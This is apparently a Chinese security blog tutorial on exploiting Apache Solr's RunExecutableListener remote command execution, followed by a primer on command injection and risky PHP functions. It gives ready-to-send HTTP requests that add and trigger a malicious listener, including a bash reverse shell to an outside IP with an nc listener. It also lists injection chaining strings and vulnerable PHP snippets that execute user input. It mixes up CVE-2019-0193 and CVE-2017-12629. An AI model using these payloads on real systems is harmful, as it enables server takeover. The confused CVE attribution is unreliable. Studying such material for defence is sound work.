Apache Solr 远程命令执行


基础知识

Apache Solr:

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。


提示:以下是本篇文章正文内容,下面案例可供参考

一、漏洞描述

1.漏洞详情

2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警。

此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。本环境测试RCE漏洞。

远程代码执行发生在 Apache Solr 7.1 之前的 Apache Lucene 7.1 之前,通过利用 XXE 结合使用
Config API add-listener 命令到达 RunExecutableListener 类。

XML 外部实体扩展漏洞发生在 XML 查询解析器中,默认情况下,任何带有参数 deftype=xmlparser
的查询请求都可用,可被利用将恶意数据上传到 /upload 请求处理程序或使用 ftp 作为 Blind XXE包装器,以便从 Solr
服务器读取任意本地文件。

第二个漏洞与使用所有受影响版本的 Solr 上可用的 RunExecutableListener 远程执行代码有关

2.漏洞影响版本

Apache Solr 7.1.0之前版本

3.漏洞危害

【CVE-2017-12629】Apache Solr 远程命令执行漏洞得分9.8分,危害评级为严重。

当solr开启了DataImportHandler功能,该模块中的DIH配置都可以通过外部请求dataconfig参数进行修改,DIH可包含脚本,因此,会存在远程代码执行漏洞。

4.漏洞出现位置

RunExecutableListener类中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中执行任意命令

在这里插入图片描述

使用了config API传入add-listener命令即可调用RunExecutableListener

在这里插入图片描述

而这里的“exe”,“dir”,“args”内容也都可以通过http的方式传入,所以在没有访问控制的情况下任何人都可以通过该config API 达到任意命令执行的操作
通过查看代码,能够触发命令执行的事件有两个:postCommit 和 newSearcher

在这里插入图片描述

使用postCommit时,需要使用update进行collection更新后命令才会执行,因此需要两次进行请求

在这里插入图片描述

在这里插入图片描述

而使用newSearcher时可直接执行命令

在这里插入图片描述

二、漏洞利用方法

1.burp修改数据包

打开burp抓取目标网站数据包,将数据包发送至repeter模块,将数据包内容构造为如下内容:

POST /solr/demo/config HTTP/1.1
Host:xxx.xxx.xx.x
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

创建一个listener,修改ip,设置exe的值为我们想执行的命令,args的值是命令参数,注意第8行空行,post请求请求头和数据内容分开。
点击send

touch 命令用于创建空文件,也可以更改 Unix 和 Linux 系统上现有文件时间戳。更改时间戳意味着更新文件和目录的访问以及修改时间。

此处通过touchu \tmp\success命令,在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令.

2.进行update操作

再发送一个数据包进行update操作,触发刚才添加的listener
代码如下(示例):

POST /solr/demo/update HTTP/1.1
Host: xxx.xxx.xx.x
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

三、反弹shell

1.为什么要反弹shell当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。

  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。

  3. 对方的ip会动态改变,你不能持续控制。

  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。

  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

2.构造数据包,创建listener

POST /solr/demo/config HTTP/1.1
Host: 192.168.0.2:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 187

{"add-listener":{"event":"postCommit","name":"newlistener11","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/192.168.0.4/1234 0>&1"]}}

注意:

注意修改name值,不得与上一次操作相同,且exe的值与上次不同,上次是sh,这次是bash,因为我们是使用bash命令反弹shell

3.linux的反弹shell的实现

bash -i >& /dev/tcp/x.x.x.x/12345 0>&1

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<或<<

1 - stdout 代表标准输出,使用>或>>

2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。

当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

bash -i代表在本地打开一个bash,/dev/tcp/是Linux中的一个特殊文件,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,以此建立交互式shell.

打开终端,nc开启监听

nc -lvp 1234

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。

4.burp发送触发数据包

POST /solr/demo/update HTTP/1.1
Host: xxx.xxx.xx.x
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

(注意,该触发数据包将执行所有已添加的Listener,该触发请求与最终命令执行会存在延迟)

稍后监听终端将会收到反弹的shell


命令执行漏洞

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变
$PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

一、产生原因及利用

1.命令执行漏洞

没有对用户输入进行过滤或过滤不严,没有过滤&、&&、| 、||等连接符号。
系统漏洞造成的命令执行
调用的第三方组件存在代码执行漏洞
例如:

thinkphp命令执行漏洞
php:(system() 、 shell_exec() 、 exec() 、 eval())
例:<?php system("ping -c 1 ".$_GET['ip']); ?>

其中有许多可以通过构造链接符号来使恶意代码拼接到命令行中进行执行的漏洞。

Windows适用的连接符号:

|    ||   &   &&

|:ping localhost | whoami
命令执行的为后面的语句 whoami
||:ping 100 || whoami
前面语句执行出错后执行后面的语句
&:ping localhost & whoami
无论前面语句是真或假都继续执行后面的语句
&&:ping localhost && whoami
前面语句为真的情况下可执行后面语句

Linux适用的连接符号:

|  ||  &  &&

|:ping localhost | whoami
只显示后面语句执行后的结果 whoami
||:ping 100 || whoami
前面语句执行出错后执行后面的语句
&:ping localhost & whoami
无论前面语句是真或假都继续执行后面的语句
&&:ping localhost && whoami
前面语句为真的情况下可执行后面语句
;:ping localhost | whoami
按照顺序执行前后语句

漏洞利用原理 直接调用操作系统命令
在浏览器中,";、&、|| "都可以作为命令连接符使用,用户可通过浏览器直接构造语句,当服务器端没有针对执行函数做过滤时,将会导致在没有指定绝对路径的情况下就执行命令。

2.代码执行漏洞

调用执行系统命令的函数时,如果用户可以控制函数中的部分参数,就可能使其将其构造的恶意命令直接拼接到正常命令,从而造成命令执行漏洞,常见的执行系统命令的函数:如PHP中的system、exec、assert、shell_exec、passthru、popen、poc_popen、escapeshellcmd、pcntl_exec。

二、常见危险/特殊函数

1.php语句中高危函数

eval()

该函数把字符串按照PHP代码来计算。该字符串必须是合法的php代码,且必须以分号结尾。如果没有在代码字符串中调用return语句,则返回NULL。如果代码中存在解析错误,则eval()函数返回false。

<?php $string = "beautiful"; $time = "spring"; $str = 'This is a $string $time morning!'; echo $str. "
"; eval("\$str = \"$str\";"); echo $str; ?>

assert()

检查一个断言是否为false。

<?php $c = $_GET['c'];assert($c); ?> 
http://127.0.0.1/oscommand/1.php?a=phpinfo(); http://127.0.0.1/oscommand/1.php?a=phpinfo()

会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

require()

require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而 include 只产生警告(E_WARNING),脚本会继续运行。

<?php require('somefile.php'); ?>
The following:

<?php require 'somefile.php'; ?>

当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

<?php $color = 'yellow'; $fruit = 'orange'; ?>
test.php

<?php echo "A $color $fruit"; // A include 'vars.php'; echo "A $color $fruit"; // A yellow orange ?>

require_once

require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

<?php define('__ROOT__', dirname(dirname(__FILE__))); 
require_once(__ROOT__.'/config.php'); ?>

exec()

该函数命令执行后的值为输出值的最后一行,函数并不会打印任何内容。

exec ( string KaTeX parse error: Expected 'EOF', got '&' at position 18: …mmand [, array &̲output [, int &$return_var ]] )
函数执行command参数所指定的命令。

stringarrayint是参数的数据类型,分别是字符串、数组和整数/
中括号的意思是如果前一个参数存在,那么中括号中的参数可以不写。
例如:如果存在$command参数,则$output参数可有可无;
如果不存在ouput参数,则$return_var也不能出现。

command:要执行的命令。
output:如果提供了output参数,那么会用命令执行的输出填充此数组,
每行输出填充数组中的一个元素。数组中的数据不包括行位的空白字符.
例如\n字符。如果数组中自己包含了部分元素,exec()函数会在数组末尾追加内容。
如果不想在数组末尾追加,输入exec()函数前使用unset()函数进行重置。
return_var:如果同时提供output和return_var参数,
命令执行后的返回状态会被写入到此变量。如果命令成功执行,则状态码为0;
如果命令执行失败,则状态码为1

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

说明
shell_exec ( string $cmd ) : string

<?php $output = shell_exec('ls -lart'); echo "
$output
"; ?>
copy()
copy ( string $source , string $dest [, resource $context ] ) : bool

<?php $file = 'example.txt'; $newfile = 'example.txt.bak'; if (!copy($file, $newfile)) { echo "failed to copy $file...\n"; } ?>

和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。

Call_user_func()

该函数把第一个参数作为回调函数调用。

用法

mixed call_user_func(callable callback \[,mixed paremeter 
[,mixed $...]])
第一个参数callback 是被调用的回调函数,其余参数是回调函数的参数。

ex:

<?php call_user_func($_GET['a'],$_GET['b']); ?> 
http://127.0.0.1/oscommand/1.php?a=assert&b=phpinfo()

call_user_func_array
create_function
array_map
system
该函数命令执行后的返回值存在输出值的最后一行,函数本身也会打印全部输出值。

2.系统命令执行漏洞

system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引号(``)
ob_start()

总结

尽量不要使用命令执行函数。

客户端提交的变量在进入执行命令函数前要做好过滤和检测。

在使用动态函数之前,确保使用的函数是指定的函数之一。

对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤。

对PHP语言来说,不能完全控制的危险函数最好不要使用。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值